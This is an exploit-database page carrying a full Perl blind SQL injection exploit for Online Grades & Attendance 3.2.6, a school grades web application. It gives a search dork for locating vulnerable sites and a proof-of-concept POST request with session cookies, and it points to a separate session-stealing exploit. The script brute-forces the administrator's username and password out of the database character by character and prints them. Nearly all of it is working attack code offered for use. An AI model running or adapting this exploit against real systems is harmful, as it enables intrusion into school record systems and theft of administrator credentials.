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Online Grades & Attendance 3.2.6 Blind SQL Injection Exploit

Author

YEnH4ckEr

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-5293

Category

web applications

Date add

01-06-2009

Platform

unsorted

============================================================
Online Grades & Attendance 3.2.6 Blind SQL Injection Exploit
============================================================


#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|                            (Post Form --> 'cc') Blind (SQLi) EXPLOIT	                      |
#|--------------------------------------------------------------------------------------------|
#|                           |    Online Grades & Attendance v-3.2.6   |		      |
#|  CMS INFORMATION:          -----------------------------------------	               	      |
#|										              |
#|-->WEB: http://www.onlinegrades.org/			          			      |
#|-->DOWNLOAD: http://www.onlinegrades.org/		                  		      |
#|-->DEMO: http://www.onlinegrades.org/demo_info					      |
#|-->CATEGORY: CMS / Education								      |
#|-->DESCRIPTION: Online Grades is based on the project, Basmati. It has all of the same      |
#|		features plus many new features. OG is a web based grade...		      |
#|-->RELEASED: 2009-02-05								      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 3						                      |
#|-->DORK: "Powered by Online Grades"						              |
#|-->CATEGORY: BLIND SQL INJECTION EXPLOIT					              |
#|-->AFFECT VERSION: <= 3.2.6						 		      |
#|-->Discovered Bug date: 2009-05-21							      |
#|-->Reported Bug date: 2009-05-21							      |
#|-->Fixed bug date: Not fixed								      |
#|-->Info patch: Not fixed							              |
#|-->Author: YEnH4ckEr									      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		      |
#----------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#gpc_magic_quotes=OFF
#
#-------
#NEED:
#-------
#
#Valid registered parent (PHPSESSID) (Use parent stealer --> http://www.milw0rm.com/exploits/8843)
#
#Used this post info --> TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://www.onlinegrades.org/demo/parents/parents.php?func=showteachermemo HTTP/1.1
#Host: www.onlinegrades.org
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Paros/3.2.13
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
#Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
#Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
#Keep-Alive: 300
#Proxy-Connection: keep-alive
#Referer: http://www.onlinegrades.org/demo/parents/parents.php?func=showreportcard
#Cookie: SESS82c464aff4a6373c38ca1d81df10661e=li1lag4844furho010a5ok8uq7; PHPSESSID=2ofepluotebqj7qu009qskaeg7
#Content-Type: application/x-www-form-urlencoded
#Content-length: 72
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=1# --> TRUE
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=0# --> FALSE
#
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title Online Grades Attendance v-3.2.6 Blind SQL Injection Exploit");
		system ("color 04");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	if($_[2] eq "post"){
		$request = HTTP::Request -> new(POST => $_[0]);
		$request->referer($_[0]);
		$request->header(cookie => "PHPSESSID=".$_[3]);
		$request->content_type('application/x-www-form-urlencoded');
		$request->content($_[1]);
	}else{
		$request = HTTP::Request -> new(GET => $_[0]);
	}
	my $outcode= $userag->request($request)->as_string;
	#print $outcode; #--> Active this line for debugger mode
	return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
	print "\tWeb isn't vulnerable!\n\n";
	print "\t--->Maybe:\n\n";
	print "\t\t1.-Patched.\n";
	print "\t\t2.-Bad path or host.\n";
	print "\t\t3.-Bad PHPSESSID value.\n";
	print "\t\t4.-Bad POST value.\n";
	print "\t\tEXPLOIT FAILED!\n";
	print "\t------------------------------------------------------------\n";
}
sub errormagicquotes {
print "\t------------------------------------------------------------\n";
	print "\tWeb isn't vulnerable!\n\n";
	print "\t\tRaison--> Magic quotes ON.\n";
	print "\t\tEXPLOIT FAILED!\n";
	print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
	print "\t-----------------------------------------------------------------\n";
	print "\tWEB MAYBE BE VULNERABLE!\n\n";
	print "\tTested Blind SQL Injection.\n";		
	print "\tStarting exploit...\n"; 
	print "\t-----------------------------------------------------------------\n\n";
}

sub helper {
	print "\n\t[!!!] Online Grades & Attendance <= v-3.2.6 Blind SQLi Exploit\n";
	print "\t[!!!] USAGE MODE: [!!!]\n";
	print "\t[!!!] perl $0 [HOST] [PATH] [PHPSESSID] [POST]\n";
	print "\t[!!!] [HOST]: Web.\n";
	print "\t[!!!] [PATH]: Home Path.\n";
	print "\t[!!!] [PHPSESSID]: Set PHPSESSID value\n";
	print "\t[!!!] [POST]: Set POST value\n";
	print "\t[!!!] Example: perl $0 'www.onlinegrades.org' 'demo' 'ej67dt4jdjd57fdv6fkvqquh05' 'TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101' \n";
}
sub brute_length{
#Column length
$exit=0;
$i=0;
while($exit==0){
	my $blindsql=$_[2]."'+AND+(SELECT+length(".$_[1].")+FROM+ADMINS+WHERE+id=1)=".$i++."#"; #injected code
	$output=&request($_[0],$blindsql,'post',$_[3]);
	if($output !~ (/Can't get Memo info for Course Code/)){
		$exit=1;
	}else{
		$exit=0;
	}
	#This is the max length of client_id and client_pw
	if($i>80){
	&error;
	exit(1);
	}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength ".$_[1]." --> ".$length."\n";
print "\tWait several minutes...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
	$z=45;
	while(($k<=$_[1]) && ($z<=126)){
		my $blindsql=$_[3]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+ADMINS+WHERE+id=1),".$k.",1))=".$z."#";
		$output=&request($_[0],$blindsql,'post',$_[4]);
		if ($output !~ (/Can't get Memo info for Course Code/))
		{
			$values=$values.chr($z);
			$k++;
			$z=45;
		}
#new char
	$z++; 
	}
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##        Online Grades & Attendance <= v-3.2.6      ##\n\n";
print "\t##           Blind SQL Injection Exploit             ##\n\n"; 
print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n";
print "\t##       ++Needed: Registered parend (PHPSESSID)     ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $PHPSESSID=$ARGV[2];
my $POST=$ARGV[3];
$numArgs = $#ARGV + 1;
if($numArgs<=3) 
	{
		&helper;
		exit(1);	
	}	
#Build uri
my $finalhost="http://".$host."/".$path."/parents/parents.php?func=showteachermemo";
my $phpinfo="http://".$host."/".$path."/include/phpinfo.php";
#magic quotes on?
$output=&request($phpinfo,0,'get',0);
if($output=~(/\<tr\>\<td class\=\"e\">magic\_quotes\_gpc\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<\/tr\>/)){
	&errormagicquotes;
	exit(1);
}
$finalrequest = $finalhost;	
#Testing blind sql injection
$send_post1=$POST."'+AND+1=0#";
$output1=&request($finalrequest,$send_post1,'post',$PHPSESSID);
$send_post2=$POST."'+AND+1=1#";
$output2=&request($finalrequest,$send_post2,'post',$PHPSESSID);
if ($output1 eq $output2)
{    
	#Not injectable
	&error;
	exit(1); 
}else{ 
	#blind sql injection is available
	&testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest,'client_id',$POST,$PHPSESSID);	
#Bruteforcing username...
$user=&exploiting($finalrequest,$length_user,'client_id',$POST,$PHPSESSID);
#Bruteforcing length
$length_pw=&brute_length($finalrequest,'client_pw',$POST,$PHPSESSID);	
#Bruteforcing password...
$pw=&exploiting($finalrequest,$length_pw,'client_pw',$POST,$PHPSESSID);
#final checking
if((!$user) || (!$pw)){
	&error;
	exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t*********  EXPLOIT EXECUTED SUCCESSFULLY ********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pw."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
exit(1);
#Ok...all job done



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Online Grades & Attendance 3.2.6 Blind SQL Injection Exploit

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